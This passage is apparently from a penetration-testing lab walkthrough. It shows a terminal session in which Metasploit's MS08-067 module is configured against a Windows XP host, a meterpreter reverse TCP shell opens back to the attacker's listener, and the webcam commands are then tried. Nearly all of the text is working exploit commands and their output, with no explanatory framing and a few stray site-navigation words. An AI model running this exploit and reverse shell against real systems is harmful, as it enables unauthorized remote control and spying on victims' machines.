

```
RHOSTS ⇒ 192.168.1.50
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.1.25
LHOST ⇒ 192.168.1.25
msf6 exploit(windows/smb/ms08_067_netapi) > sho options
[-] Unknown command: sho
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08\_067\_netapi):

File System

Name	Current Setting	Required	Description
RHOSTS	192.168.1.50	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Home

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.1.25	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	---
0	Automatic Targeting

"the quieter you become, the more you are able to hear"

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
```

```
[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.50:445 - Automatically detecting the target...
[*] 192.168.1.50:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.50:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.50:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.50:1037) at 2024-03-06 09:45:53 -0500
```

```
meterpreter > webcam list
[-] Unknown command: webcam
meterpreter > webcam_list
[-] No webcams were found
meterpreter > █
```